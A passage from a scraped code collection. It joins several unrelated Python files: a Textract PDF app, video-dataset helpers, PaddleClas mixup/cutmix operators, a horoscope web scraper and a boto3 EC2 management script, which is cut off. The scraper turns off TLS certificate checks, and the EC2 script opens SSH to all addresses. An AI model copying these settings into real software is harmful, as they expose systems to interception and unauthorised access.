'n_clicks')],\r\n [State('upload-data', 'contents'),\r\n State('upload-data', 'filename'),\r\n State('file-state', 'data'),\r\n State('textarea', 'value')])\r\ndef update_output(n_clicks, contents, filename, file_state, query):\r\n #print(query)\r\n if n_clicks is not None and file_state == filename:\r\n n_clicks = None\r\n return '', filename\r\n\r\n if contents:\r\n file_type = filename.split('.')[-1]\r\n if allowed_file(file_type):\r\n decoded = base64.b64decode(contents.split(',')[1])\r\n if file_type == 'pdf':\r\n print(type(decoded))\r\n else:\r\n image = Image.open(io.BytesIO(decoded))\r\n #rotated_image = rotate_image(image)\r\n #Stuff happens to the image here\r\n json_query = json.loads(query)\r\n \r\n \r\n response = client.analyze_document(\r\n Document={'Bytes': decoded},\r\n FeatureTypes=['QUERIES'],\r\n QueriesConfig={\r\n 'Queries': json_query\r\n }\r\n )\r\n query_results = get_query_results(response)\r\n print(query_results)\r\n \r\n # open the PDF document using PyMuPDF\r\n pdf = fitz.open(stream=decoded, filetype=\"pdf\")\r\n highlighted = highlight_response_fields_pdf(response, pdf)\r\n\r\n output_stream = io.BytesIO()\r\n highlighted.save(output_stream)\r\n pdf_bytes = output_stream.getvalue()\r\n # encode the bytearray as base64\r\n pdf_base64 = base64.b64encode(pdf_bytes).decode('utf-8')\r\n print('ok')\r\n\r\n return html.Iframe(\r\n id='pdf-viewer',\r\n src=f\"data:application/pdf;base64,{pdf_base64}\",\r\n width='100%',\r\n height='1000px',\r\n hidden=False # set hidden to False when the PDF is ready to be displayed\r\n ), filename\r\n else:\r\n return 'Invalid file type. Please upload a pdf, jpeg, or png file.', filename\r\n else:\r\n return 'Please upload a file.', filename\r\n\r\nif __name__ == '__main__':\r\n app.run_server(debug=True)","repo_name":"JacobAtCircle/Textract","sub_path":"dash_script.py","file_name":"dash_script.py","file_ext":"py","file_size_in_byte":7729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37196075099","text":"def parse_video_folder(clean_video_folder):\n \"\"\"\n Parse the video folder.\n :param clean_video_folder:(str) Path to the clean videos.\n And the directory tree is like:\n\n clean_video_folder:\n |- 仓鼠_1548957900724225\n |- |- v0200f9a0000bcritg8m4cilqdqrmr90.mp4\n |- |- ...\n |- ...\n\n :return:\n dict_lst: A dict of list. The keys are tags.\n The list contains all videos under the key.\n\n dict{\n \"排球\": [\"vid1\", \"vid2\", \"vid3\", ... ],\n \"篮球\": [...]\n ...\n }\n\n \"\"\"\n dict_lst = {}\n import os\n video_folders = os.listdir(clean_video_folder)\n for folder in video_folders:\n tag = folder.split('_')[0]\n video_lst = os.listdir(os.path.join(clean_video_folder, folder))\n if tag not in dict_lst.keys():\n dict_lst[tag] = [os.path.splitext(video)[0] for video in video_lst]\n else:\n dict_lst[tag].extend([os.path.splitext(video)[0] for video in video_lst])\n return dict_lst\n\n\ndef get_classInd(classInd_file):\n \"\"\"\n Get classInd from classInd file.\n\n Args:\n classInd_file: (str) Path to classInd.txt. For example:\n\n source_classInd_txt = \"douyin_v2_153/lists/classInd.txt\"\n\n Returns:\n A list of class_name.\n\n [\"tag0\", \"tag1\", ... ]\n\n \"\"\"\n class_names = []\n with open(classInd_file) as f:\n lines = f.readlines()\n for line in lines:\n class_names.append(line.strip().split(' ')[1])\n return class_names\n\n\ndef dump_classInd(class_names, out_file):\n \"\"\"\n Dump a class_names list to classInd.txt.\n\n Args:\n class_names: A list of tags.\n out_file(str): Path to output file.\n\n Return:\n\n \"\"\"\n content = []\n for ii, item in enumerate(class_names):\n line = str(ii)+' '+item+'\\n'\n content.append(line)\n with open(out_file, \"w\") as f:\n f.writelines(content)\n\n\ndef parse_train_val_list(list_file):\n \"\"\"\n Get list of train/val list from list file.\n\n Args:\n list_file: Path to train/val list file. The format of\n the list file format is:\n\n \"frames/v_跆拳道_v0200f9a0000bcritg8m4cilqdqrmr90 182 37\"\n\n Return:\n list_dic: A list of dic. For example:\n\n [\n {frame: \"Path_to_frame\",\n count: number,\n class_index: index},\n {...},\n ...]\n\n \"\"\"\n list_dic = []\n with open(list_file) as f:\n lines = f.readlines()\n for line in lines:\n frame_path, count, cls_index = line.strip().split(' ')\n dic = {'frame': frame_path,\n 'count': int(count),\n 'class_index': int(cls_index)}\n list_dic.append(dic)\n return list_dic\n\n\ndef dump_train_val_list(list_dic, out_file):\n \"\"\"\n Dump the list of dict into tran/val list file.\n\n Args:\n list_dic: A list of dict. The format of the dic is:\n\n [\n {frame: \"Path_to_frame\",\n count: number,\n class_index: index},\n {...},\n ...]\n\n out_file: Path to output file.\n\n Return:\n\n The format of the output list is:\n\n \"frames/v_跆拳道_v0200f9a0000bcritg8m4cilqdqrmr90 182 37\"\n\n \"\"\"\n content = []\n for dic in list_dic:\n line = dic.get('frame') + ' ' + str(dic.get('count')) + \\\n ' ' + str(dic.get('class_index')) + '\\n'\n content.append(line)\n\n with open(out_file, \"w\") as f:\n f.writelines(content)\n\n\ndef parse_frame_path(frame_path):\n \"\"\"\n Parse the frame path\n :param frame_path: (str)Path of the frames.\n\n The format of the output list is:\n\n \"frames/v_跆拳道_v0200f9a0000bcritg8m4cilqdqrmr90\"\n\n :return:\n tag:(str) The tag of the video.\n vid:(str) The ID of the video.\n \"\"\"\n return frame_path.split('/')[1].split('_')[1:]\n\n\ndef parse_reference_result(reference_result_file):\n \"\"\"\n Parse the reference result.\n\n Args:\n reference_result_file: Path to reference result txt.\n\n Return:\n y_pred, y_gt: Two list of class index.\n\n \"\"\"\n y_pred = []\n y_gt = []\n with open(reference_result_file) as f:\n results = f.readlines()\n\n for line in results:\n pred = line.split(' ')[2]\n gt = line.split(' ')[3].strip()\n y_pred.append(int(pred))\n y_gt.append(int(gt))\n\n assert len(y_pred) == len(y_gt), \"Length of y_pred and y_gt are not equal!\"\n return y_pred, y_gt\n\n\ndef calculate_acc(cnf_matrix, good_pairs=None):\n \"\"\"\n Calculate ACC form a confusion matrix.\n :param\n cnf_matrix: A confusion matrix.\n good_pairs: A list of extra pairs that count for acc.\n :return:\n \"\"\"\n right_sum = 0\n for i in range(cnf_matrix.shape[0]):\n right_sum += cnf_matrix[i, i]\n\n if good_pairs:\n for pair in good_pairs:\n right_sum += cnf_matrix[pair[0], pair[1]]\n\n acc = right_sum / cnf_matrix.sum()\n return acc\n","repo_name":"FelixZhang7/pytorch-video-recognition","sub_path":"anal_tools/my_utils.py","file_name":"my_utils.py","file_ext":"py","file_size_in_byte":5082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23448085045","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport random\n\nimport numpy as np\n\nfrom ppcls.utils import logger\nfrom ppcls.data.preprocess.ops.fmix import sample_mask\n\nimport paddle\nimport paddle.nn.functional as F\n\n\nclass BatchOperator(object):\n \"\"\" BatchOperator \"\"\"\n\n def __init__(self, *args, **kwargs):\n pass\n\n def _unpack(self, batch):\n \"\"\" _unpack \"\"\"\n assert isinstance(batch, list), \\\n 'batch should be a list filled with tuples (img, label)'\n bs = len(batch)\n assert bs > 0, 'size of the batch data should > 0'\n #imgs, labels = list(zip(*batch))\n imgs = []\n labels = []\n for item in batch:\n imgs.append(item[0])\n labels.append(item[1])\n return np.array(imgs), np.array(labels), bs\n\n def _one_hot(self, targets):\n return np.eye(self.class_num, dtype=\"float32\")[targets]\n\n def _mix_target(self, targets0, targets1, lam):\n one_hots0 = self._one_hot(targets0)\n one_hots1 = self._one_hot(targets1)\n return one_hots0 * lam + one_hots1 * (1 - lam)\n\n def __call__(self, batch):\n return batch\n\n\nclass MixupOperator(BatchOperator):\n \"\"\" Mixup operator \n reference: https://arxiv.org/abs/1710.09412\n\n \"\"\"\n\n def __init__(self, class_num, alpha: float=1.):\n \"\"\"Build Mixup operator\n\n Args:\n alpha (float, optional): The parameter alpha of mixup. Defaults to 1..\n\n Raises:\n Exception: The value of parameter is illegal.\n \"\"\"\n if alpha <= 0:\n raise Exception(\n f\"Parameter \\\"alpha\\\" of Mixup should be greater than 0. \\\"alpha\\\": {alpha}.\"\n )\n if not class_num:\n msg = \"Please set \\\"Arch.class_num\\\" in config if use \\\"MixupOperator\\\".\"\n logger.error(Exception(msg))\n raise Exception(msg)\n\n self._alpha = alpha\n self.class_num = class_num\n\n def __call__(self, batch):\n imgs, labels, bs = self._unpack(batch)\n idx = np.random.permutation(bs)\n lam = np.random.beta(self._alpha, self._alpha)\n imgs = lam * imgs + (1 - lam) * imgs[idx]\n targets = self._mix_target(labels, labels[idx], lam)\n return list(zip(imgs, targets))\n\n\nclass CutmixOperator(BatchOperator):\n \"\"\" Cutmix operator\n reference: https://arxiv.org/abs/1905.04899\n\n \"\"\"\n\n def __init__(self, class_num, alpha=0.2):\n \"\"\"Build Cutmix operator\n\n Args:\n alpha (float, optional): The parameter alpha of cutmix. Defaults to 0.2.\n\n Raises:\n Exception: The value of parameter is illegal.\n \"\"\"\n if alpha <= 0:\n raise Exception(\n f\"Parameter \\\"alpha\\\" of Cutmix should be greater than 0. \\\"alpha\\\": {alpha}.\"\n )\n if not class_num:\n msg = \"Please set \\\"Arch.class_num\\\" in config if use \\\"CutmixOperator\\\".\"\n logger.error(Exception(msg))\n raise Exception(msg)\n\n self._alpha = alpha\n self.class_num = class_num\n\n def _rand_bbox(self, size, lam):\n \"\"\" _rand_bbox \"\"\"\n w = size[2]\n h = size[3]\n cut_rat = np.sqrt(1. - lam)\n cut_w = int(w * cut_rat)\n cut_h = int(h * cut_rat)\n\n # uniform\n cx = np.random.randint(w)\n cy = np.random.randint(h)\n\n bbx1 = np.clip(cx - cut_w // 2, 0, w)\n bby1 = np.clip(cy - cut_h // 2, 0, h)\n bbx2 = np.clip(cx + cut_w // 2, 0, w)\n bby2 = np.clip(cy + cut_h // 2, 0, h)\n\n return bbx1, bby1, bbx2, bby2\n\n def __call__(self, batch):\n imgs, labels, bs = self._unpack(batch)\n idx = np.random.permutation(bs)\n lam = np.random.beta(self._alpha, self._alpha)\n\n bbx1, bby1, bbx2, bby2 = self._rand_bbox(imgs.shape, lam)\n imgs[:, :, bbx1:bbx2, bby1:bby2] = imgs[idx, :, bbx1:bbx2, bby1:bby2]\n lam = 1 - (float(bbx2 - bbx1) * (bby2 - bby1) /\n (imgs.shape[-2] * imgs.shape[-1]))\n targets = self._mix_target(labels, labels[idx], lam)\n return list(zip(imgs, targets))\n\n\nclass FmixOperator(BatchOperator):\n \"\"\" Fmix operator \n reference: https://arxiv.org/abs/2002.12047\n \n \"\"\"\n\n def __init__(self,\n class_num,\n alpha=1,\n decay_power=3,\n max_soft=0.,\n reformulate=False):\n if not class_num:\n msg = \"Please set \\\"Arch.class_num\\\" in config if use \\\"FmixOperator\\\".\"\n logger.error(Exception(msg))\n raise Exception(msg)\n\n self._alpha = alpha\n self._decay_power = decay_power\n self._max_soft = max_soft\n self._reformulate = reformulate\n self.class_num = class_num\n\n def __call__(self, batch):\n imgs, labels, bs = self._unpack(batch)\n idx = np.random.permutation(bs)\n size = (imgs.shape[2], imgs.shape[3])\n lam, mask = sample_mask(self._alpha, self._decay_power, \\\n size, self._max_soft, self._reformulate)\n imgs = mask * imgs + (1 - mask) * imgs[idx]\n targets = self._mix_target(labels, labels[idx], lam)\n return list(zip(imgs, targets))\n\n\nclass OpSampler(object):\n \"\"\" Sample a operator from \"\"\"\n\n def __init__(self, class_num, **op_dict):\n \"\"\"Build OpSampler\n\n Raises:\n Exception: The parameter \\\"prob\\\" of operator(s) are be set error.\n \"\"\"\n if not class_num:\n msg = \"Please set \\\"Arch.class_num\\\" in config if use \\\"OpSampler\\\".\"\n logger.error(Exception(msg))\n raise Exception(msg)\n\n if len(op_dict) < 1:\n msg = f\"ConfigWarning: No operator in \\\"OpSampler\\\". \\\"OpSampler\\\" has been skipped.\"\n logger.warning(msg)\n\n self.ops = {}\n total_prob = 0\n for op_name in op_dict:\n param = op_dict[op_name]\n if \"prob\" not in param:\n msg = f\"ConfigWarning: Parameter \\\"prob\\\" should be set when use operator in \\\"OpSampler\\\". The operator \\\"{op_name}\\\"'s prob has been set \\\"0\\\".\"\n logger.warning(msg)\n prob = param.pop(\"prob\", 0)\n total_prob += prob\n param.update({\"class_num\": class_num})\n op = eval(op_name)(**param)\n self.ops.update({op: prob})\n\n if total_prob > 1:\n msg = f\"ConfigError: The total prob of operators in \\\"OpSampler\\\" should be less 1.\"\n logger.error(Exception(msg))\n raise Exception(msg)\n\n # add \"None Op\" when total_prob < 1, \"None Op\" do nothing\n self.ops[None] = 1 - total_prob\n\n def __call__(self, batch):\n op = random.choices(\n list(self.ops.keys()), weights=list(self.ops.values()), k=1)[0]\n # return batch directly when None Op\n return op(batch) if op else batch\n\n\nclass MixupCutmixHybrid(object):\n \"\"\" Mixup/Cutmix that applies different params to each element or whole batch\n\n Args:\n mixup_alpha (float): mixup alpha value, mixup is active if > 0.\n cutmix_alpha (float): cutmix alpha value, cutmix is active if > 0.\n cutmix_minmax (List[float]): cutmix min/max image ratio, cutmix is active and uses this vs alpha if not None.\n prob (float): probability of applying mixup or cutmix per batch or element\n switch_prob (float): probability of switching to cutmix instead of mixup when both are active\n mode (str): how to apply mixup/cutmix params (per 'batch', 'pair' (pair of elements), 'elem' (element)\n correct_lam (bool): apply lambda correction when cutmix bbox clipped by image borders\n label_smoothing (float): apply label smoothing to the mixed target tensor\n num_classes (int): number of classes for target\n \"\"\"\n\n def __init__(self,\n mixup_alpha=1.,\n cutmix_alpha=0.,\n cutmix_minmax=None,\n prob=1.0,\n switch_prob=0.5,\n mode='batch',\n correct_lam=True,\n label_smoothing=0.1,\n num_classes=4):\n self.mixup_alpha = mixup_alpha\n self.cutmix_alpha = cutmix_alpha\n self.cutmix_minmax = cutmix_minmax\n if self.cutmix_minmax is not None:\n assert len(self.cutmix_minmax) == 2\n # force cutmix alpha == 1.0 when minmax active to keep logic simple & safe\n self.cutmix_alpha = 1.0\n self.mix_prob = prob\n self.switch_prob = switch_prob\n self.label_smoothing = label_smoothing\n self.num_classes = num_classes\n self.mode = mode\n self.correct_lam = correct_lam # correct lambda based on clipped area for cutmix\n self.mixup_enabled = True # set to false to disable mixing (intended tp be set by train loop)\n\n def _one_hot(self, x, num_classes, on_value=1., off_value=0.):\n x = paddle.cast(x, dtype='int64')\n on_value = paddle.full([x.shape[0], num_classes], on_value)\n off_value = paddle.full([x.shape[0], num_classes], off_value)\n return paddle.where(\n F.one_hot(x, num_classes) == 1, on_value, off_value)\n\n def _mixup_target(self, target, num_classes, lam=1., smoothing=0.0):\n off_value = smoothing / num_classes\n on_value = 1. - smoothing + off_value\n y1 = self._one_hot(\n target,\n num_classes,\n on_value=on_value,\n off_value=off_value, )\n y2 = self._one_hot(\n target.flip(0),\n num_classes,\n on_value=on_value,\n off_value=off_value)\n return y1 * lam + y2 * (1. - lam)\n\n def _rand_bbox(self, img_shape, lam, margin=0., count=None):\n \"\"\" Standard CutMix bounding-box\n Generates a random square bbox based on lambda value. This impl includes\n support for enforcing a border margin as percent of bbox dimensions.\n\n Args:\n img_shape (tuple): Image shape as tuple\n lam (float): Cutmix lambda value\n margin (float): Percentage of bbox dimension to enforce as margin (reduce amount of box outside image)\n count (int): Number of bbox to generate\n \"\"\"\n ratio = np.sqrt(1 - lam)\n img_h, img_w = img_shape[-2:]\n cut_h, cut_w = int(img_h * ratio), int(img_w * ratio)\n margin_y, margin_x = int(margin * cut_h), int(margin * cut_w)\n cy = np.random.randint(0 + margin_y, img_h - margin_y, size=count)\n cx = np.random.randint(0 + margin_x, img_w - margin_x, size=count)\n yl = np.clip(cy - cut_h // 2, 0, img_h)\n yh = np.clip(cy + cut_h // 2, 0, img_h)\n xl = np.clip(cx - cut_w // 2, 0, img_w)\n xh = np.clip(cx + cut_w // 2, 0, img_w)\n return yl, yh, xl, xh\n\n def _rand_bbox_minmax(self, img_shape, minmax, count=None):\n \"\"\" Min-Max CutMix bounding-box\n Inspired by Darknet cutmix impl, generates a random rectangular bbox\n based on min/max percent values applied to each dimension of the input image.\n\n Typical defaults for minmax are usually in the .2-.3 for min and .8-.9 range for max.\n\n Args:\n img_shape (tuple): Image shape as tuple\n minmax (tuple or list): Min and max bbox ratios (as percent of image size)\n count (int): Number of bbox to generate\n \"\"\"\n assert len(minmax) == 2\n img_h, img_w = img_shape[-2:]\n cut_h = np.random.randint(\n int(img_h * minmax[0]), int(img_h * minmax[1]), size=count)\n cut_w = np.random.randint(\n int(img_w * minmax[0]), int(img_w * minmax[1]), size=count)\n yl = np.random.randint(0, img_h - cut_h, size=count)\n xl = np.random.randint(0, img_w - cut_w, size=count)\n yu = yl + cut_h\n xu = xl + cut_w\n return yl, yu, xl, xu\n\n def _cutmix_bbox_and_lam(self,\n img_shape,\n lam,\n ratio_minmax=None,\n correct_lam=True,\n count=None):\n \"\"\" Generate bbox and apply lambda correction.\n \"\"\"\n if ratio_minmax is not None:\n yl, yu, xl, xu = self._rand_bbox_minmax(\n img_shape, ratio_minmax, count=count)\n else:\n yl, yu, xl, xu = self._rand_bbox(img_shape, lam, count=count)\n if correct_lam or ratio_minmax is not None:\n bbox_area = (yu - yl) * (xu - xl)\n lam = 1. - bbox_area / float(img_shape[-2] * img_shape[-1])\n return (yl, yu, xl, xu), lam\n\n def _params_per_elem(self, batch_size):\n lam = np.ones(batch_size, dtype=np.float32)\n use_cutmix = np.zeros(batch_size, dtype=np.bool)\n if self.mixup_enabled:\n if self.mixup_alpha > 0. and self.cutmix_alpha > 0.:\n use_cutmix = np.random.rand(batch_size) < self.switch_prob\n lam_mix = np.where(\n use_cutmix,\n np.random.beta(\n self.cutmix_alpha, self.cutmix_alpha, size=batch_size),\n np.random.beta(\n self.mixup_alpha, self.mixup_alpha, size=batch_size))\n elif self.mixup_alpha > 0.:\n lam_mix = np.random.beta(\n self.mixup_alpha, self.mixup_alpha, size=batch_size)\n elif self.cutmix_alpha > 0.:\n use_cutmix = np.ones(batch_size, dtype=np.bool)\n lam_mix = np.random.beta(\n self.cutmix_alpha, self.cutmix_alpha, size=batch_size)\n else:\n assert False, \"One of mixup_alpha > 0., cutmix_alpha > 0., cutmix_minmax not None should be true.\"\n lam = np.where(\n np.random.rand(batch_size) < self.mix_prob,\n lam_mix.astype(np.float32), lam)\n return lam, use_cutmix\n\n def _params_per_batch(self):\n lam = 1.\n use_cutmix = False\n if self.mixup_enabled and np.random.rand() < self.mix_prob:\n if self.mixup_alpha > 0. and self.cutmix_alpha > 0.:\n use_cutmix = np.random.rand() < self.switch_prob\n lam_mix = np.random.beta(self.cutmix_alpha, self.cutmix_alpha) if use_cutmix else \\\n np.random.beta(self.mixup_alpha, self.mixup_alpha)\n elif self.mixup_alpha > 0.:\n lam_mix = np.random.beta(self.mixup_alpha, self.mixup_alpha)\n elif self.cutmix_alpha > 0.:\n use_cutmix = True\n lam_mix = np.random.beta(self.cutmix_alpha, self.cutmix_alpha)\n else:\n assert False, \"One of mixup_alpha > 0., cutmix_alpha > 0., cutmix_minmax not None should be true.\"\n lam = float(lam_mix)\n return lam, use_cutmix\n\n def _mix_elem(self, x):\n batch_size = len(x)\n lam_batch, use_cutmix = self._params_per_elem(batch_size)\n x_orig = x.clone(\n ) # need to keep an unmodified original for mixing source\n for i in range(batch_size):\n j = batch_size - i - 1\n lam = lam_batch[i]\n if lam != 1.:\n if use_cutmix[i]:\n (yl, yh, xl, xh), lam = self._cutmix_bbox_and_lam(\n x[i].shape,\n lam,\n ratio_minmax=self.cutmix_minmax,\n correct_lam=self.correct_lam)\n if yl < yh and xl < xh:\n x[i][:, yl:yh, xl:xh] = x_orig[j][:, yl:yh, xl:xh]\n lam_batch[i] = lam\n else:\n x[i] = x[i] * lam + x_orig[j] * (1 - lam)\n return paddle.to_tensor(lam_batch, dtype=x.dtype).unsqueeze(1)\n\n def _mix_pair(self, x):\n batch_size = len(x)\n lam_batch, use_cutmix = self._params_per_elem(batch_size // 2)\n x_orig = x.clone(\n ) # need to keep an unmodified original for mixing source\n for i in range(batch_size // 2):\n j = batch_size - i - 1\n lam = lam_batch[i]\n if lam != 1.:\n if use_cutmix[i]:\n (yl, yh, xl, xh), lam = self._cutmix_bbox_and_lam(\n x[i].shape,\n lam,\n ratio_minmax=self.cutmix_minmax,\n correct_lam=self.correct_lam)\n if yl < yh and xl < xh:\n x[i][:, yl:yh, xl:xh] = x_orig[j][:, yl:yh, xl:xh]\n x[j][:, yl:yh, xl:xh] = x_orig[i][:, yl:yh, xl:xh]\n lam_batch[i] = lam\n else:\n x[i] = x[i] * lam + x_orig[j] * (1 - lam)\n x[j] = x[j] * lam + x_orig[i] * (1 - lam)\n lam_batch = np.concatenate((lam_batch, lam_batch[::-1]))\n return paddle.to_tensor(lam_batch, dtype=x.dtype).unsqueeze(1)\n\n def _mix_batch(self, x):\n lam, use_cutmix = self._params_per_batch()\n if lam == 1.:\n return 1.\n if use_cutmix:\n (yl, yh, xl, xh), lam = self._cutmix_bbox_and_lam(\n x.shape,\n lam,\n ratio_minmax=self.cutmix_minmax,\n correct_lam=self.correct_lam)\n if yl < yh and xl < xh:\n x[:, :, yl:yh, xl:xh] = x.flip(0)[:, :, yl:yh, xl:xh]\n\n else:\n x_flipped = x.flip(0) * (1. - lam)\n x[:] = x * lam + x_flipped\n return lam\n\n def _unpack(self, batch):\n \"\"\" _unpack \"\"\"\n assert isinstance(batch, list), \\\n 'batch should be a list filled with tuples (img, label)'\n bs = len(batch)\n assert bs > 0, 'size of the batch data should > 0'\n #imgs, labels = list(zip(*batch))\n imgs = []\n labels = []\n for item in batch:\n imgs.append(item[0])\n labels.append(item[1])\n return np.array(imgs), np.array(labels), bs\n\n def __call__(self, batch):\n x, target, bs = self._unpack(batch)\n x = paddle.to_tensor(x)\n target = paddle.to_tensor(target)\n assert len(x) % 2 == 0, 'Batch size should be even when using this'\n if self.mode == 'elem':\n lam = self._mix_elem(x)\n elif self.mode == 'pair':\n lam = self._mix_pair(x)\n else:\n lam = self._mix_batch(x)\n target = self._mixup_target(target, self.num_classes, lam,\n self.label_smoothing)\n\n return list(zip(x.numpy(), target.numpy()))\n","repo_name":"PaddlePaddle/PaddleClas","sub_path":"ppcls/data/preprocess/batch_ops/batch_operators.py","file_name":"batch_operators.py","file_ext":"py","file_size_in_byte":18700,"program_lang":"python","lang":"en","doc_type":"code","stars":5081,"dataset":"github-code","pt":"3"} +{"seq_id":"24622221628","text":"import os,re\n\ndef convert_dataset(in_path,out_path):\n if(not os.path.isdir(out_path)):\n os.mkdir(out_path)\n if(os.path.isfile(in_path)):\n to_txt(from_txt(in_path),out_path)\n else:\n paths=os.listdir(in_path)\n for path_i in paths:\n in_i=in_path+'/'+path_i\n out_i=out_path+'/'+path_i\n to_txt(from_txt(in_i),out_i)\n\ndef to_txt(ts_dict,out_path):\n lines=[make_line(name_i,data_i) \n for name_i,data_i in ts_dict.items()]\n# if( filtr(name_i))]\t\n full_txt='\\n'.join(lines)\n f=open(out_path,'w')\n f.write(full_txt)\n f.close()\n\ndef make_line(name_i,data_i):\n raw=re.findall('\\d+',name_i)\n return data_i+\"#\" +name_i\n#def make_line(name_i,data_i):\n# raw=re.findall('\\d+',name_i)\n# return \"#\".join([data_i,raw[0],raw[1],name_i])\n\n#def filtr(name_i):\n# print(name_i)\n# return len(name_i.split('_')[3])==0\n\ndef from_txt(in_path):\n with open(in_path) as f:\n lines = f.readlines()\n lines=[line_i.replace(\" \",\"\") for line_i in lines]\n dict_i= dict([parse_line(line_i) for line_i in lines])\n return dict_i\n\ndef parse_line(line_i):\n raw_i=line_i.split('#')\n return raw_i[-1].strip(),raw_i[0]\n\n#ts_dict=from_txt('conv_agum.txt')\n#to_txt(ts_dict,'conv_agum')\nconvert_dataset('deep','deep_out')","repo_name":"tjacek/ml_demo","sub_path":"param.py","file_name":"param.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22025954600","text":"#O programa recebe uma data de nascimento, e imprime na tela o horoscopo diário de acordo com o signo do usuário por meio de um site.\ndef signo(dia,mes):#analisa o signo de acordo com o dia e o mês de nascimento informado pelo usuário e separados na função \"separar_data\".\n if mes == 3:\n return 'Peixes' if dia < 21 else 'Aries'\n if mes == 4:\n return 'Aries' if dia < 20 else 'Touro'\n if mes == 5:\n return 'Touro' if dia < 22 else 'Gêmeos'\n if mes == 6:\n return 'Gêmeos' if dia < 23 else 'Câncer'\n if mes == 7:\n return 'Câncer' if dia < 23 else 'Leão'\n if mes == 8:\n return 'Leão' if dia < 23 else 'Virgem'\n if mes == 9:\n return 'Virgem' if dia < 23 else 'Libra'\n if mes == 10:\n return 'Libra' if dia < 23 else 'Escorpião'\n if mes == 11:\n return 'Escorpião' if dia < 22 else 'Sagitário'\n if mes == 12:\n return 'Sagitário' if dia < 22 else 'Capricórnio'\n if mes == 11:\n return 'Capricórnio' if dia < 20 else 'Aquário'\n if mes == 12:\n return 'Aquário' if dia < 21 else 'Peixes'\n\ndef horoscopo(signo_desejado):\n import urllib.request, ssl #importa biblioteca para abrir urls.\n\n signo_formatado = remover_acentos(signo_desejado).lower() #recebe o signo e converte as letras para minúsculo.\n minha_url = 'https://www.horoscopovirtual.com.br/horoscopo/' + signo_formatado\n\n requisicao = urllib.request.Request( #Recupera o conteúdo de uma URL.\n url=minha_url,\n headers={'User-Agent':'Mozilla/5.0'}\n )\n \n contexto_ssl = ssl.create_default_context()\n contexto_ssl.check_hostname = False\n contexto_ssl.verify_mode = ssl.CERT_NONE\n\n resposta = urllib.request.urlopen(requisicao, context=contexto_ssl)\n\n pagina = resposta.read().decode('utf-8')\n\n marcador_inicio = '

    ' #define onde deve começar e terminar o texto a ser impresso para o usuário.\n marcador_final = 'Compartilhar'\n\n inicio = pagina.find(marcador_inicio) + len(marcador_inicio)\n final = pagina.find(marcador_final, inicio)\n\n return signo_desejado + ': ' + pagina[inicio:final].strip()\n\ndef separar_data(dma): #A função \"separa_data(dma)\",separa a data de nascimento informada pelo usuário, retornando o dia, mês e ano. \n a = dma % 10000 #Com isso, é possível identificar o signo através da função \"signo(dia,mes)\".\n dma //= 10000\n\n m = dma % 100\n dma //= 100\n\n d = dma\n return d, m, a\n\n\ndef remover_acentos(texto):\n from unicodedata import normalize\n\n return normalize('NFKD', texto).encode('ASCII', 'ignore').decode('ASCII')\n\ndef main():\n nascimento = int(input('Digite sua data de nascimento no formato DDMMAAAA: '))\n\n dia, mes, _ = separar_data(nascimento)\n meu_signo = signo(dia, mes)\n horoscopo_de_hoje = horoscopo(meu_signo)\n\n print(horoscopo_de_hoje)\n\nif __name__ == '__main__':\n main()\n \n","repo_name":"josevitor32/atividades-pec","sub_path":"Atividade02-sem08-/atividade.py","file_name":"atividade.py","file_ext":"py","file_size_in_byte":2960,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"69895194322","text":"from app.models.model_test_request import TestRequest\nfrom app.core.utils import return_current_time\nfrom fastapi import APIRouter\nimport os\n\nROUTER = APIRouter()\n\n\n@ROUTER.get(\"/\")\ndef test_func_request(request_item):\n \"\"\"\n endpoint.\n \"\"\"\n folder, file = os.path.split(request_item)\n return {\n \"request_item\": request_item,\n \"folder\": folder,\n \"file\": file,\n \"date\": return_current_time()\n }\n","repo_name":"dayvagrant/empty_api","sub_path":"app/api/test_request.py","file_name":"test_request.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33645315523","text":"#####################################################################################\n# Cloud Computing HW - 1 #\n# Create an Instance Programmatically #\n# #\n# Author: Avaiyang Garg, ag6026 #\n# #\n#####################################################################################\n\nimport boto3\nimport sys\nimport os\nimport random\n\n# To create a key-pair for the instance\ndef create_key_pair(VarKeyName):\n ec2 = boto3.resource('ec2')\n \n # generating a key-pair\n output = open(VarKeyName+'.pem','w')\n keyPair = ec2.create_key_pair(KeyName=VarKeyName)\n KeyPairOut = str(keyPair.key_material)\n output.write(KeyPairOut)\n\n# To create a new instance\ndef create_instance(KeyPair, GroupId):\n ec2 = boto3.resource('ec2')\n\n # here we are using the Amazon Linux 2 AMI with the instance type micro\n instance = ec2.create_instances(ImageId='ami-04681a1dbd79675a5', MinCount=1, MaxCount=1, InstanceType='t2.micro', KeyName = KeyPair, SecurityGroupIds = [GroupId])\n print(\"\\nA new instance is created\\n\")\n print(\"Instance ID : \",instance[0].id)\n \n return instance[0].id\n\n# To create a security group for the instance\ndef create_security_group(sgName, sgDesc):\n ec2 = boto3.resource('ec2')\n securityGr = ec2.create_security_group(GroupName=sgName, Description=sgDesc)\n securityGr.authorize_ingress(IpProtocol=\"tcp\",CidrIp=\"0.0.0.0/0\",FromPort=22,ToPort=22)\n return securityGr.id\n\n# List all instances\ndef list_instances():\n ec2 = boto3.resource('ec2')\n \n # printing all the instances\n for instance in ec2.instances.all():\n print('\\n')\n print(\"The Instance ID : \",instance.id)\n print(\"State of Instance : \", instance.state)\n print(\"IP of the Instance: \", instance.public_ip_address)\n print(\"Region of the Instance: \", instance.placement['AvailabilityZone'])\n print(\"DNS:\",instance.public_dns_name)\n\n# To terminate the instance\ndef terminate_instance(id):\n ec2 = boto3.resource('ec2')\n instance = ec2.Instance(id)\n response = instance.terminate()\n print(\"\\nInstance is terminated:\\n\",response)\n\n# To remove the key-pair from the system and the AWS\ndef removeKeyPair(keyName):\n #To remove from the local system\n if os.path.exists(keyName+'.pem'):\n os.remove(keyName+'.pem')\n\n # To remove the key-pair from AWS\n ec2 = boto3.client('ec2')\n response = 